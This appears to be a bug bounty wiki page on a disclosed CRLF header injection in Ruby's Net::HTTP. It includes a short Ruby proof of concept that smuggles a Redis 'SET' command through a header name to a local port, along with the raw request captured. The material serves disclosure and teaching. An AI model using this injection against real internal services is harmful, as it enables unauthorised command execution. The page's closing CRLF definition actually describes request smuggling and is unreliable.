Header CRLF Injection in Ruby Net::HTTP
Ruby's Net::HTTP library does not validate header names, allowing CRLF injection when an attacker controls a header name. This lets an attacker inject arbitrary content into the HTTP request, potentially executing commands on internal services like Redis.
- Disclosed after 7 months
There is a Header CRLF Injection vulnerability in Ruby Net::HTTP. When I run the following code:
require 'net/http'
http = Net::HTTP.new('127.0.0.1', 6379)
headers = {
"test\r\nSET VULN POC \r\n" => "test",
}
resp, data = http.get("/", headers)
The service on port 6379 will receive the following packet:
GET / HTTP/1.1
Test
set vuln poc
: test
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Connection: close
Host: 127.0.0.1:6379
This means that if an attacker can control the header name, he can inject arbitrary content into the HTTP request. This is very dangerous.
Impact
If port 6379 is running the Redis service, the attacker can directly execute the Redis command. So this vulnerability can be used to attack internal services like Redis etc.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the library fails to sanitise header names, allowing carriage return and line feed characters to be included and interpreted as part of the request.
Impact
An attacker could inject arbitrary content into HTTP requests, potentially executing commands on internal services such as Redis.
What the attacker needed
Attacker controls a header name; target service accepts HTTP-like protocol
How it was found
- Create a Net::HTTP object pointing to a target host and port.
- Set a header name that contains CRLF characters followed by a command.
- Send a GET request with that header.
- Observe that the injected command appears in the raw request received by the service.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program sends a web request, it includes headers, which are like labels with values. If a header name contains special newline characters, the program might treat the following text as a new request line. This can trick a server into running unintended commands.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.